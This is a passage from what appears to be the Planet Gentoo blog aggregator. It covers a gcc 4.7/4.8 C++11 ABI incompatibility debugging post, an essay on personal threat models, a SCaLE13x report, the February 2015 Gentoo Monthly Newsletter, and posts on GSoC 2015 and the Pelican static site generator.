$ readelf -s test.o
Symbol table '.symtab' contains 12 entries:
Num:    Value          Size Type    Bind   Vis      Ndx Name
  0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
  1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS test.cpp
  2: 0000000000000000     0 SECTION LOCAL  DEFAULT    1
  3: 0000000000000000     0 SECTION LOCAL  DEFAULT    3
  4: 0000000000000000     0 SECTION LOCAL  DEFAULT    4
  5: 0000000000000000     0 SECTION LOCAL  DEFAULT    6
  6: 0000000000000000     0 SECTION LOCAL  DEFAULT    7
  7: 0000000000000000     0 SECTION LOCAL  DEFAULT    5
  8: 0000000000000000    78 FUNC    GLOBAL DEFAULT    1 main
  9: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND _GLOBAL_OFFSET_TABLE_
 10: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND _ZNSt6chrono3_V212steady_
 11: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND __stack_chk_fail

We can now confirm that that symbol is in fact in libstdc++.so for 4.8.3 but NOT for 4.7.3 as follows:

$ readelf -s /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libstdc++.so.6 | grep _ZNSt6chrono3_V212steady_
  1904: 00000000000e5698     1 OBJECT  GLOBAL DEFAULT   13 _ZNSt6chrono3_V212steady_@@GLIBCXX_3.4.19
  3524: 00000000000c8b00    89 FUNC    GLOBAL DEFAULT   11 _ZNSt6chrono3_V212steady_@@GLIBCXX_3.4.19
$ readelf -s /usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libstdc++.so.6 | grep _ZNSt6chrono3_V212steady_
$

Okay, so we’re just seeing an example of things in flux.  Big deal?  If you finish linking test.cpp and check what it links against you get what you expect:

$ g++ --std=c++11 -o test.gcc48 test.o
$ ./test.gcc48
$ ldd test.gcc48
        linux-vdso.so.1 (0x000002ce333d0000)
        libstdc++.so.6 => /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libstdc++.so.6 (0x000002ce32e88000)
        libm.so.6 => /lib64/libm.so.6 (0x000002ce32b84000)
        libgcc_s.so.1 => /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libgcc_s.so.1 (0x000002ce3296d000)
        libc.so.6 => /lib64/libc.so.6 (0x000002ce325b1000)
        /lib64/ld-linux-x86-64.so.2 (0x000002ce331af000)

Here’s where the wierdness comes in.  Suppose we now switch to gcc-4.7.3 and repeat.  Things don’t quite work as expected:

$ g++ --version
g++ (Gentoo Hardened 4.7.3-r1 p1.4, pie-0.5.5) 4.7.3
$ g++ --std=c++11 -o test.gcc47 test.cpp
$ ldd test.gcc47
        linux-vdso.so.1 (0x000003bec8a9c000)
        libstdc++.so.6 => /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libstdc++.so.6 (0x000003bec8554000)
        libm.so.6 => /lib64/libm.so.6 (0x000003bec8250000)
        libgcc_s.so.1 => /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libgcc_s.so.1 (0x000003bec8039000)
        libc.so.6 => /lib64/libc.so.6 (0x000003bec7c7d000)
        /lib64/ld-linux-x86-64.so.2 (0x000003bec887b000)

Note that it says its linking against 4.8.3/libstdc++.so.6 and not 4.7.3.  That’s because of the order in which the library paths are search is defined in /etc/ld.so.conf.d/05gcc-x86_64-pc-linux-gnu.conf and this file is sorted that way it is on purpose.  So maybe it’ll run!  Let’s try:

$ ./test.gcc47
./test.gcc47: relocation error: ./test.gcc47: symbol _ZNSt6chrono12steady_clock3nowEv, version GLIBCXX_3.4.17 not defined in file libstdc++.so.6 with link time reference

Nope, no joy.  So what’s going on?  Let’s look at the symbols in both test.gcc47 and test.gcc48:

$ readelf -s test.gcc47  | grep chrono
  9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _ZNSt6chrono12steady_cloc@GLIBCXX_3.4.17 (4)
 50: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _ZNSt6chrono12steady_cloc
$ readelf -s test.gcc48  | grep chrono
  9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _ZNSt6chrono3_V212steady_@GLIBCXX_3.4.19 (4)
 49: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _ZNSt6chrono3_V212steady_

Whoah!  The symbol wasn’t mangled the same way!  Looking more carefully at *all* the chrono symbols in 4.8.3/libstdc++.so.6 and 4.7.3/libstdc++.so.6 we see the problem.

$ readelf -s /usr/lib/gcc/x86_64-pc-linux-gnu/4.8.3/libstdc++.so.6 | grep chrono
  353: 00000000000e5699     1 OBJECT  GLOBAL DEFAULT   13 _ZNSt6chrono3_V212system_@@GLIBCXX_3.4.19
 1489: 000000000005e0e0    86 FUNC    GLOBAL DEFAULT   11 _ZNSt6chrono12system_cloc@@GLIBCXX_3.4.11
 1605: 00000000000e1a3f     1 OBJECT  GLOBAL DEFAULT   13 _ZNSt6chrono12system_cloc@@GLIBCXX_3.4.11
 1904: 00000000000e5698     1 OBJECT  GLOBAL DEFAULT   13 _ZNSt6chrono3_V212steady_@@GLIBCXX_3.4.19
 2102: 00000000000c8aa0    86 FUNC    GLOBAL DEFAULT   11 _ZNSt6chrono3_V212system_@@GLIBCXX_3.4.19
 3524: 00000000000c8b00    89 FUNC    GLOBAL DEFAULT   11 _ZNSt6chrono3_V212steady_@@GLIBCXX_3.4.19
$ readelf -s /usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libstdc++.so.6 | grep chrono
 1478: 00000000000c6260    72 FUNC    GLOBAL DEFAULT   12 _ZNSt6chrono12system_cloc@@GLIBCXX_3.4.11
 1593: 00000000000dd9df     1 OBJECT  GLOBAL DEFAULT   14 _ZNSt6chrono12system_cloc@@GLIBCXX_3.4.11
 2402: 00000000000c62b0    75 FUNC    GLOBAL DEFAULT   12 _ZNSt6chrono12steady_cloc@@GLIBCXX_3.4.17

Only 4.7.3/libstdc++.so.6 has _ZNSt6chrono12steady_cloc@@GLIBCXX_3.4.17.  Normally when libraries change their exported symbols, they change their SONAME, but this is not the case here, as running `readelf -d` on both shows.  GCC doesn’t bump the SONAME that way for reasons explained in [4].  Great, so just switch around the order of path search in /etc/ld.so.conf.d/05gcc-x86_64-pc-linux-gnu.conf.  Then we get the problem the other way around:

$ ./test.gcc47
$ ./test.gcc48
./test.gcc48: /usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libstdc++.so.6: version `GLIBCXX_3.4.19' not found (required by ./test.gcc48)

So no problem if your system has only gcc-4.7.  No problem if it has only 4.8.  But if it has both, then compiling C++11 with 4.7 and linking against libstdc++ for 4.8 (or vice versa) and you get breakage at the binary level.  This is the C++11 ABI incompatibility problem in Gentoo.  As an exercise for the reader, fix!

Ref.

[1] Bug 542482 – (c++11-abi) [TRACKER] c++11 abi incompatibility

[2] This is an old professor’s trick for saying, hey go find out why c90 doesn’t define a value for __STDC_VERSION__ and let me know, ‘cuz I sure as hell don’t!

[3] This example was inspired by bug #513386.  You can verify that it requires –std=c++11 by dropping the flag and getting yelled at by the compiler.

[4] Upstream explains why in comment #5 of GCC bug #61758.  The entire bug is dedicated to this issue.

March 08, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
Again on threat models (March 08, 2015, 20:55 UTC)

I've read many people over the past few months referencing James Mickens's article on threat models. Given I wrote last year about a similar thing in regard to privacy policies, one would expect me to fall in line with said article fully. They would be disappointed.

While I agree with the general gist of the article, I think it gets a little too simplistic. In particular it downplays a lot the importance to protect yourself against two separate class of attackers: people close to you and people who may be targeting you even if you don't know them. These do seem at first sight to fit in with Mickens's categories, but they go a little further than he's describing. And by painting the categories as "funny" as he did I think he's undermining the importance of security.

Let's start with the first threat model that the article points out to in the "tl;dr" table;

Ex-girlfriend/boyfriend breaking into your email account and publicly releasing your correspondence with the My Little Pony fan club

Is this a credible threat? Not really, but if you think about it a little more you can easily see how this can morph into disgruntled ex breaking into your computer/email/cloud account and publicly releasing nude selfies as revenge porn. Now it sounds a little more ominous than being outed out as a fan of My Little Pony, doesn't it? And maybe you'll call me sexist to point this out, but I think it would be hypocrite not to point out that this particular problem sees women as much more vulnerable to this particular problem.

But it does not have to strictly be an ex; it may be any creepy guy (or gal, if you really want to go there) who somehow gets to access your computer or to guess your "strong" password. It's easy to blame the victim in these situations but that's not the point; there are plenty of people ready to betray the trust of their acquaintances out there — and believe me, people trust other people way too easily, especially when they are looking for a tech-savvy friend-of-a-friend to help them fix their computer, I've been said tech-savvy friend-of-a-friend, and it didn't take many times doing the kind of usual recovery to realize how important that trust is.

The second "threat model", that is easily discounted, is described as

Organized criminals breaking into your email account and sending spam using your identity

The problem with a similar description of the threat is that it's too easy for people to discard it with "so what?" People receive spam all the time, why would it matter whose identity it's sent as? Once again, there are multiple ways to rephrase this to make it more ominous.

A very simple option is to focus on the monetary problem: organized criminals breaking into your email account looking for your credit card details. There are still plenty of services that will request your credit card numbers by email, and even my credit card company sends me the full 16-digits number of my card on the statements. When you point out to people that the criminals are not just going to bother a random stranger, but actually are going after their money, they may care a significant bit more.

Again this is not all there is, though. For a security or privacy specialist to ignore the issues of targeted attacks such as doxxing, coming up with the harassment campaigns that are all the rage to date is at the very least irresponsible. And that does not involve only the direct targets of harassment: the protection of even the most careful person is always weak to the people they have around, because we trust them, with information, or access, and so on.

Take for instance Facebook's "living will" for users — if one wanted to harass some person, but their security was too strong, they could go after their immediate family, hoping that one of the would have the right access to close the account down. Luckily, I think Facebook is smarter than this, and so it should not be that straightforward, but many people also use member of the family's addresses as recovery addresses if they were to lose access to their own account.

So with all this in mind, I would like to point out that at the same time I agree and disagree with Mickens's article. There are way too many cryptographers out there that look into improbable threat models, but at the same time there are privacy experts that ignore what the actual threats are for many more users.

This is why I don't buy into the cult of personalities of Assange, Snowden or Appelbaum. I'm not going to argue that surveillance is a good thing, nor I'm going to argue that there are no abuses ever – I'm sure there are – but the focus over the past two years have been so much more on state actions that malicious actors like those I described earlier.

I already pointed out how privacy advocates are in love with Tor and they ignore the bad behaviours it enables, and I once again I do wonder why they are more concerned about the possibility of obscure political abuses of power, rather than the real and daily abuse of people, most likely a majority of which women.

Anyway, I'm not a thought leader, and my opinions are strictly personal — but I do think that the current focus on protecting the public from possibly systemic abuse from impersonal organisations such as the NSA is overshadowing the importance of protecting people from those they are most vulnerable from: the people around them.

And let's be clear: there are plenty of things that the crypto community can and should do to protect people in these situations: HTTPS is for instance extremely important, as it does not take a huge effort for a disgruntled ex to figure out how to snoop cleartext traffic to find the odd password or information that could lead to a break.

Just think twice, next time you decide to rally people up against a generic surveillance society phantom, or even to support EFF — I used to, I don't currently and while I agree they have done good things for people, I do find they are focusing on the wrong threats.

March 07, 2015
Diego E. Pettenò a.k.a. flameeyes (homepage, bugs)
Report from SCaLE13x (March 07, 2015, 23:53 UTC)

This year I have not been able to visit FOSDEM. Funnily enough this confirms the trend of me visiting FOSDEM only on even-numbered years, as I previously skipped 2013 as I was just out for my first and only job interview, and 2011 because of contract related timing. Since I still care for going to an open source conference early in the year, I opted instead for SCaLE, the timing of which fit perfectly my trip to Mountain View. It also allowed me to walk through Hermosa Beach once again.

So Los Angeles again it was, which meant I was able to meet with a few Gentoo developers, a few VideoLAN developers who also came all the way from Europe, and many friends who I have met at various previous conferences. It is funny how I end up meeting some people more often through conferences than I meet my close friends from back in Italy. I guess this is the life of the frequent travelers.

While my presence at SCaLE was mostly a way to meet some of the Gentoo devs that I had not met before, and see Hugo and Ludovic from VideoLAN who I missed at the past two meetings, I did pay some attention to the talks — I wish I could have had enough energy to go to more of them, but I was coming from three weeks straight of training, during which I sat for at least two hours a day in a room listening to talks on various technologies and projects… doing that in the free time too sounded like a bad idea.

What I found intriguing in the program, and in at least one of the talks I was able to attend, was that I could find at least a few topics that I wrote about in the past. Not only now containers are now all the rage, through Docker and other plumbing, but there was also a talk about static site generators, of which I wrote in 2009 and I've been using for much longer than that, out of necessity.

All in all, it was a fun conference and meeting my usual conference friends and colleagues is a great thing. And meeting the other Gentoo devs is what sparked my designs around TG4 which is good.

I would like to also thank James for suggesting me to use Tweetdeck during conferences, as it was definitely nicer to be able to keep track of what happened on the hashtag as well as the direct interactions and my personal stream. If you're the occasional conferencegoer you probably want to look into it yourself. It also is the most decent way to look at Twitter during a conference on a tablet, as it does not require you to jump around between search pages and interactions (on a PC you can at least keep multiple tabs open easily.)

Gentoo Monthly Newsletter: February 2015 (March 07, 2015, 20:00 UTC)

Gentoo News

Infrastructure News

Service relaunch: archives.gentoo.org

Thanks to our awesome infrastructure team, the archives.gentoo.org website is back online. Below is the announcement as posted on the gentoo-announce mailing list by Robin H. Johnson.

The Gentoo Infrastructure team is proud to announce that we have
re-engineered the mailing list archives, and re-launched it, back at archives.gentoo.org.
The prior Mhonarc-based system had numerous problems, and a
complete revamp was deemed the best forward solution to move
forward with. The new system is powered by ElasticSearch
(more features to come).

All existing URLs should either work directly, or redirect you to the new location for that content.

Major thanks to a3li, for his development of this project. Note
that we're still doing some catchup on newer messages, but delays will drop to under 2 hours soon,
with an eventual goal of under 3 minutes.

Please report problems to Bugzilla: Product Websites, Component
Archives [1][2]

Source available at:
git://git.gentoo.org/proj/ag.git (backend)
git://git.gentoo.org/proj/ag-web.git (frontend)

[1] https://tinyurl.com/mybyjq6 which is really [2]
[2] https://bugs.gentoo.org/enter_bug.cgi?alias=&assigned_to=infra-bugs%40gentoo.org&attach_text=&blocked=&bug_file_loc=http%3A%2F%2F&bug_severity=normal&bug_status=CONFIRMED&comment=&component=Archives&contenttypeentry=&contenttypemethod=autodetect&contenttypeselection=text%2Fplain&data=&deadline=&defined_groups=1&dependson=&description=&estimated_time=&flag_type-4=X&form_name=enter_bug&keywords=&maketemplate=Remember%20values%20as%20bookmarkable%20template&op_sys=Linux&priority=Normal&product=Websites&rep_platform=All&requestee_type-4=&short_desc=archives.gentoo.org%3A%20FILL%20IN%20HERE&version=n%2Fa

Gentoo Developer Moves

Summary

Gentoo is made up of 235 active developers, of which 33 are currently away.
Gentoo has recruited a total of 808 developers since its inception.

Additions

Changes

  • James Le Cuirot joined the Java team
  • Guilherme Amadio joined the Fonts team
  • Mikle Kolyada joined the Embedded team
  • Pavlos Ratis joined the Overlays team
  • Matthew Thode joined the Git mirror team
  • Patrice Clement joined the Java and Python teams
  • Manuel Rüger joined the QA team
  • Markus Duft left the Prefix team
  • Mike Gilbert left the Vmware team
  • Tim Harder left the Games and Tex teams

Portage

This section summarizes the current state of the Gentoo ebuild tree.

Architectures 45
Categories 164
Packages 17997
Ebuilds 36495
Architecture Stable Testing Total % of Packages
alpha 3534 687 4221 23.45%
amd64 10983 6536 17519 97.34%
amd64-fbsd 2 1589 1591 8.84%
arm 2687 1914 4601 25.57%
arm64 536 93 629 3.50%
hppa 3102 535 3637 20.21%
ia64 3105 707 3812 21.18%
m68k 592 135 727 4.04%
mips 0 2439 2439 13.55%
ppc 6748 2536 9284 51.59%
ppc64 4329 1074 5403 30.02%
s390 1364 469 1833 10.19%
sh 1466 610 2076 11.54%
sparc 4040 994 5034 27.97%
sparc-fbsd 0 315 315 1.75%
x86 11560 5583 17143 95.25%
x86-fbsd 0 3235 3235 17.98%

gmn-portage-stats-2015-03

Security

The following GLSAs have been released by the Security Team

GLSA Package Description Bug
201502-15 net-fs/samba Samba: Multiple vulnerabilities 479868
201502-14 sys-apps/grep grep: Denial of Service 537046
201502-13 www-client/chromium Chromium: Multiple vulnerabilities 537366
201502-12 dev-java/oracle-jre-bin (and 2 more) Oracle JRE/JDK: Multiple vulnerabilities 507798
201502-11 app-arch/cpio GNU cpio: Multiple vulnerabilities 530512
201502-10 media-libs/libpng libpng: User-assisted execution of arbitrary code 531264
201502-09 app-text/antiword Antiword: User-assisted execution of arbitrary code 531404
201502-08 media-video/libav Libav: Multiple vulnerabilities 492582
201502-07 dev-libs/libevent libevent: User-assisted execution of arbitrary code 535774
201502-06 www-servers/nginx nginx: Information disclosure 522994
201502-05 net-analyzer/tcpdump tcpdump: Multiple vulnerabilities 534660
201502-04 www-apps/mediawiki MediaWiki: Multiple vulnerabilities 498064
201502-03 net-dns/bind BIND: Multiple Vulnerabilities 531998
201502-02 www-plugins/adobe-flash Adobe Flash Player: Multiple vulnerabilities 536562
201502-01 media-sound/mpg123 mpg123: User-assisted execution of arbitrary code 500262

Package Removals/Additions

Removals

Package Developer Date
dev-ml/obrowser aballier 02 Feb 2015
games-server/tetrix pacho 03 Feb 2015
app-emulation/wine-doors pacho 03 Feb 2015
dev-libs/libgeier pacho 03 Feb 2015
dev-games/ggz-client-libs pacho 03 Feb 2015
dev-games/libggz pacho 03 Feb 2015
games-board/ggz-gtk-client pacho 03 Feb 2015
games-board/ggz-gtk-games pacho 03 Feb 2015
games-board/ggz-sdl-games pacho 03 Feb 2015
games-board/ggz-txt-client pacho 03 Feb 2015
games-board/xfrisk pacho 03 Feb 2015
games-mud/mcl pacho 03 Feb 2015
media-gfx/photoprint pacho 03 Feb 2015
media-gfx/rawstudio pacho 03 Feb 2015
app-office/imposter pacho 03 Feb 2015
dev-python/cl pacho 03 Feb 2015
sci-physics/camfr pacho 03 Feb 2015
net-analyzer/nagios-imagepack pacho 03 Feb 2015
dev-python/orm pacho 03 Feb 2015
dev-python/testoob pacho 03 Feb 2015
app-misc/fixdos pacho 03 Feb 2015
app-arch/mate-file-archiver pacho 03 Feb 2015
app-editors/mate-text-editor pacho 03 Feb 2015
app-text/mate-document-viewer pacho 03 Feb 2015
app-text/mate-doc-utils pacho 03 Feb 2015
mate-base/libmatekeyring pacho 03 Feb 2015
mate-base/mate-file-manager pacho 03 Feb 2015
mate-base/mate-keyring pacho 03 Feb 2015
mate-extra/mate-character-map pacho 03 Feb 2015
mate-extra/mate-file-manager-image-converter pacho 03 Feb 2015
mate-extra/mate-file-manager-open-terminal pacho 03 Feb 2015
mate-extra/mate-file-manager-sendto pacho 03 Feb 2015
mate-extra/mate-file-manager-share pacho 03 Feb 2015
media-gfx/mate-image-viewer pacho 03 Feb 2015
net-wireless/mate-bluetooth pacho 03 Feb 2015
x11-libs/libmatewnck pacho 03 Feb 2015
x11-misc/mate-menu-editor pacho 03 Feb 2015
x11-wm/mate-window-manager pacho 03 Feb 2015
net-zope/zope-fixers pacho 03 Feb 2015
sys-apps/kmscon pacho 03 Feb 2015
app-office/teapot pacho 03 Feb 2015
net-irc/bitchx pacho 03 Feb 2015
sys-power/cpufrequtils pacho 03 Feb 2015
x11-plugins/gkrellm-cpufreq pacho 03 Feb 2015
media-sound/gnome-alsamixer pacho 03 Feb 2015
sys-devel/ac-archive pacho 03 Feb 2015
net-misc/emirror pacho 03 Feb 2015
net-wireless/wimax pacho 03 Feb 2015
net-wireless/wimax-tools pacho 03 Feb 2015
rox-extra/clock pacho 03 Feb 2015
app-arch/rpm5 pacho 03 Feb 2015
app-admin/gksu-polkit pacho 03 Feb 2015
sys-apps/uhinv pacho 03 Feb 2015
net-libs/pjsip pacho 03 Feb 2015
net-voip/sflphone pacho 03 Feb 2015
net-im/ekg pacho 03 Feb 2015
sys-firmware/iwl2000-ucode pacho 03 Feb 2015
sys-firmware/iwl2030-ucode pacho 03 Feb 2015
sys-firmware/iwl5000-ucode pacho 03 Feb 2015
sys-firmware/iwl5150-ucode pacho 03 Feb 2015
net-wireless/cinnamon-bluetooth pacho 03 Feb 2015
net-wireless/ussp-push pacho 03 Feb 2015
app-vim/zencoding-vim radhermit 09 Feb 2015
x11-drivers/psb-firmware chithanh 10 Feb 2015
x11-drivers/xf86-video-cyrix chithanh 10 Feb 2015
x11-drivers/xf86-video-impact chithanh 10 Feb 2015
x11-drivers/xf86-video-nsc chithanh 10 Feb 2015
x11-drivers/xf86-video-sunbw2 chithanh 10 Feb 2015
x11-libs/libdrm-poulsbo chithanh 10 Feb 2015
x11-libs/xpsb-glx chithanh 10 Feb 2015
app-admin/lxqt-admin yngwin 10 Feb 2015
net-misc/lxqt-openssh-askpass yngwin 10 Feb 2015
games-puzzle/trimines mr_bones_ 11 Feb 2015
games-action/cylindrix mr_bones_ 13 Feb 2015
net-analyzer/openvas-administrator jlec 14 Feb 2015
net-analyzer/greenbone-security-desktop jlec 14 Feb 2015
dev-ruby/flickr mrueg 19 Feb 2015
dev-ruby/gemcutter mrueg 19 Feb 2015
dev-ruby/drydock mrueg 19 Feb 2015
dev-ruby/net-dns mrueg 19 Feb 2015
virtual/ruby-rdoc mrueg 19 Feb 2015
media-fonts/libertine-ttf yngwin 22 Feb 2015
dev-perl/IP-Country zlogene 22 Feb 2015
net-dialup/gtk-imonc pinkbyte 27 Feb 2015

Additions

Package Developer Date
dev-python/jenkins-autojobs idella4 02 Feb 2015
net-analyzer/ntopng slis 03 Feb 2015
app-leechcraft/lc-intermutko maksbotan 03 Feb 2015
x11-drivers/xf86-input-libinput chithanh 04 Feb 2015
dev-python/cached-property cedk 05 Feb 2015
games-board/stockfish yngwin 05 Feb 2015
dev-util/shellcheck jlec 06 Feb 2015
app-admin/cgmanager hwoarang 07 Feb 2015
app-admin/restart_services mschiff 07 Feb 2015
app-portage/lightweight-cvs-toolkit mgorny 08 Feb 2015
lxqt-base/lxqt-admin yngwin 10 Feb 2015
lxqt-base/lxqt-openssh-askpass yngwin 10 Feb 2015
sys-apps/inxi dastergon 10 Feb 2015
dev-python/pyamf radhermit 10 Feb 2015
app-doc/clsync-docs bircoph 11 Feb 2015
dev-libs/libclsync bircoph 11 Feb 2015
app-admin/clsync bircoph 11 Feb 2015
dev-ruby/hiera-eyaml robbat2 12 Feb 2015
dev-ruby/gpgme robbat2 12 Feb 2015
dev-ruby/hiera-eyaml-gpg robbat2 12 Feb 2015
app-shells/mpibash ottxor 13 Feb 2015
dev-ruby/vcard mjo 14 Feb 2015
dev-ruby/ruby-ole mjo 14 Feb 2015
dev-ml/easy-format aballier 15 Feb 2015
dev-ml/biniou aballier 15 Feb 2015
dev-ml/yojson aballier 15 Feb 2015
app-i18n/ibus-libpinyin dlan 16 Feb 2015
dev-libs/libusbhp vapier 16 Feb 2015
media-tv/kodi vapier 16 Feb 2015
dev-python/blessings jlec 17 Feb 2015
dev-perl/ExtUtils-CChecker chainsaw 17 Feb 2015
dev-python/wcwidth jlec 17 Feb 2015
dev-python/curtsies jlec 17 Feb 2015
dev-perl/Socket-GetAddrInfo chainsaw 17 Feb 2015
dev-python/elasticsearch-curator idella4 17 Feb 2015
dev-java/oracle-javamail fordfrog 17 Feb 2015
net-misc/linuxptp tomjbe 18 Feb 2015
dev-haskell/preprocessor-tools slyfox 18 Feb 2015
dev-haskell/hsb2hs slyfox 18 Feb 2015
media-plugins/vdr-recsearch hd_brummy 20 Feb 2015
media-fonts/ohsnap yngwin 20 Feb 2015
sci-libs/Rtree slis 20 Feb 2015
media-plugins/vdr-dvbapi hd_brummy 20 Feb 2015
dev-ml/typerep_extended aballier 20 Feb 2015
media-fonts/lohit-assamese yngwin 20 Feb 2015
media-fonts/lohit-bengali yngwin 20 Feb 2015
media-fonts/lohit-devanagari yngwin 20 Feb 2015
media-fonts/lohit-gujarati yngwin 20 Feb 2015
media-fonts/lohit-gurmukhi yngwin 20 Feb 2015
media-fonts/lohit-kannada yngwin 20 Feb 2015
media-fonts/lohit-malayalam yngwin 20 Feb 2015
media-fonts/lohit-marathi yngwin 20 Feb 2015
media-fonts/lohit-nepali yngwin 20 Feb 2015
media-fonts/lohit-odia yngwin 20 Feb 2015
media-fonts/lohit-tamil yngwin 20 Feb 2015
media-fonts/lohit-tamil-classical yngwin 20 Feb 2015
media-fonts/lohit-telugu yngwin 20 Feb 2015
media-fonts/ipaex yngwin 21 Feb 2015
dev-perl/Unicode-Stringprep dilfridge 21 Feb 2015
dev-perl/Authen-SASL-SASLprep dilfridge 21 Feb 2015
dev-perl/Crypt-URandom dilfridge 21 Feb 2015
dev-perl/PBKDF2-Tiny dilfridge 21 Feb 2015
dev-perl/Exporter-Tiny dilfridge 21 Feb 2015
dev-perl/Type-Tiny dilfridge 21 Feb 2015
dev-perl/Authen-SCRAM dilfridge 21 Feb 2015
dev-perl/Safe-Isa dilfridge 21 Feb 2015
dev-perl/syntax dilfridge 21 Feb 2015
dev-perl/Syntax-Keyword-Junction dilfridge 21 Feb 2015
net-analyzer/monitoring-plugins mjo 21 Feb 2015
dev-perl/Validate-Tiny monsieurp 22 Feb 2015
sys-firmware/iwl7265-ucode prometheanfire 22 Feb 2015
media-fonts/libertine yngwin 22 Feb 2015
net-dns/hash-slinger mschiff 22 Feb 2015
dev-util/bitcoin-tx blueness 23 Feb 2015
dev-python/jsonfield jlec 24 Feb 2015
dev-lua/lualdap chainsaw 24 Feb 2015
media-fonts/powerline-symbols yngwin 24 Feb 2015
app-emacs/wgrep ulm 24 Feb 2015
dev-python/trollius radhermit 25 Feb 2015
dev-perl/Pegex dilfridge 25 Feb 2015
dev-perl/Inline-C dilfridge 25 Feb 2015
dev-perl/Test-YAML dilfridge 25 Feb 2015
dev-python/asyncio prometheanfire 26 Feb 2015
dev-python/aioeventlet prometheanfire 26 Feb 2015
dev-python/neovim-python-client yngwin 26 Feb 2015
dev-lua/messagepack yngwin 26 Feb 2015
dev-libs/unibilium yngwin 26 Feb 2015
dev-libs/libtermkey yngwin 26 Feb 2015
app-editors/neovim yngwin 26 Feb 2015
dev-python/prompt_toolkit jlec 27 Feb 2015
dev-python/ptpython jlec 27 Feb 2015
dev-python/oslo-log prometheanfire 28 Feb 2015
dev-python/tempest-lib prometheanfire 28 Feb 2015
dev-python/mistune jlec 28 Feb 2015
dev-python/terminado jlec 28 Feb 2015
dev-python/ghp-import alunduil 28 Feb 2015
dev-python/mysqlclient jlec 28 Feb 2015

Bugzilla

The Gentoo community uses Bugzilla to record and track bugs, notifications, suggestions and other interactions with the development team.

Activity

The following tables and charts summarize the activity on Bugzilla between 01 February 2015 and 28 February 2015. Not fixed means bugs that were resolved as NEEDINFO, WONTFIX, CANTFIX, INVALID or UPSTREAM.
gmn-activity-2015-02

Bug Activity Number
New 1820
Closed 1519
Not fixed 281
Duplicates 162
Total 6621
Blocker 3
Critical 18
Major 68

Closed bug ranking

The following table outlines the teams and developers with the most bugs resolved during this period

Rank Team/Developer Bug Count
1 Gentoo Games 188
2 Gentoo Security 52
3 Python Gentoo Team 45
4 Gentoo's Team for Core System packages 37
5 Gentoo KDE team 35
6 Gentoo X packagers 30
7 Gentoo Science Related Packages 29
8 Gentoo Perl team 29
9 Gentoo Linux Gnome Desktop Team 27
10 Others 1046

gmn-closed-2015-02

Assigned bug ranking

The developers and teams who have been assigned the most bugs during this period are as follows.

Rank Team/Developer Bug Count
1 Gentoo Games 177
2 Gentoo Linux bug wranglers 133
3 Gentoo Security 66
4 Python Gentoo Team 50
5 Portage team 46
6 Gentoo KDE team 38
7 Gentoo X packagers 36
8 Gentoo's Team for Core System packages 36
9 Java team 35
10 Others 1202

gmn-opened-2015-02

 

Getting Involved?

Interested in helping out? The GMN relies on volunteers and members of the community for content every month. If you are interested in writing for the GMN or thinking of another way to contribute, please send an e-mail to gmn@gentoo.org.

Comments or Suggestions?

Please head over to this forum post.

Denis Dupeyron a.k.a. calchan (homepage, bugs)
Google Summer of Code 2015 (March 07, 2015, 06:45 UTC)

TL;DR: Gentoo not selected for GSoC 2015 ‘to make way for new orgs”. All is not lost: some Gentoo projects will be available within other organizations.

As you may have already noted, the Gentoo Foundation was not selected as a mentoring organization for GSoC 2015. Many immediately started to speculate why that happened.

Today I had an opportunity to talk (on irc) to Carol Smith, from Google’s Open Source Programs Office. I asked her why we had been rejected, if they had seen any issue with our application to GSoC, and if she had comments about it. Here’s what her answer was:

yeah, i’m sorry that this is going to be disappointing
but this was just us trying to make way for new orgs this year :-(
i don’t see anything wrong with your ideas page or application, it looks good

Then I asked her the following:

one discussion we had after our rejection is if we should keep focusing on doing GSoC to attract contributors as we’ve been doing, or focus more on having projects actually be implemented, and how much you cared about it

To which she replied:

well, i’ll say that wasn’t a factor in this rejection
having said that, we in general like to see more new developers instead of the same ones year over year
we’d prefer gsoc was used to attract new members of the community
but like i said, that wasn’t a factor in your case

It’s pretty clear we haven’t done anything wrong, and that they like what we do and the way we do it. Which doesn’t mean we can’t improve, by the way. I know Carol well enough to be sure she was not dodging my questions to politely brush me aside. She says things as they are.

So, what happened then? First, the overall number of accepted organizations went down roughly 30% compared to last year. The immediate thought which comes to mind is “budget cut”. Maybe. But the team who organizes GSoC is largely the same year over year. You can’t indefinitely grow an organization at constant manpower. And last year was big.

Second, and probably the main reason why we were rejected is that this year small and/or newer organizations were favored. This was explicitly said by Carol (and I believe others) multiple times. I’m sure some of you will argue that this isn’t a good idea, but the fact is it’s their program and they run it the way they want. I will certainly not blame them. This does not mean no large organizations were selected, but that tough choices had to be made among them.

In my opinion, Carol’s lack of words to explain why we were not selected meant “not bad but not good enough”. The playing field is improving every year. We surely felt a little too confident and now have to step up our game. I have ideas for next year, these will be discussed in due time.

In the meantime, some Gentoo projects will be available within other organizations. I will not talk about what hasn’t been announced yet, but I can certainly make this one official:
glee: Gentoo-based Linux appliances on Minnowboard
If you’re interested, feel free to contact me directly.

March 06, 2015
Sven Vermeulen a.k.a. swift (homepage, bugs)
Trying out Pelican, part one (March 06, 2015, 18:02 UTC)

One of the goals I’ve set myself to do this year (not as a new year resolution though, I *really* want to accomplish this ;-) is to move my blog from WordPress to a statically built website. And Pelican looks to be a good solution to do so. It’s based on Python, which is readily available and supported on Gentoo, and is quite readable. Also, it looks to be very active in development and support. And also: it supports taking data from an existing WordPress installation, so that none of the posts are lost (with some rounding error that’s inherit to such migrations of course).

